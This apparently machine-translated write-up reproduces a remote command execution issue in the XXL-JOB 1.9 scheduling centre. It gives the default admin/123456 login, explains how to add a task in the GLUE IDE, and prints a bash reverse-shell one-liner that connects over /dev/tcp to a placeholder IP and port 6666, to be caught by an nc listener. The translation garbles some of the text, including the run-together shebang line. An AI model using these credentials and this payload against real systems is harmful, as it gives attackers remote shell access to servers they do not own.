Repetition XXL - JOB scheduling center background arbitrary command execution

Warning

Do not use the content mentioned in this article violating the law.
This article no warranties

Table of Contents

Warning

I. Vulnerability description

two, affecting versions

Three, vulnerability recurrence

---

I. VulnerabilityDescription

XXL-JOB Task Scheduling Center Attackers can obtain server permissions by writing shell commands for task scheduling in the background.

---

Second, the affected version

• xxl-job version 1.9 system

---

III. Vulnerability recurrence

1. The default password is admin/123456, and a task will be added to the login background

2. Click GLUE IDE to edit the script and enter the following commands:

#!/bin/bashbash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/6666 <&1'

3.vps nc starts monitoring:

4. Click to execute, bounce the shell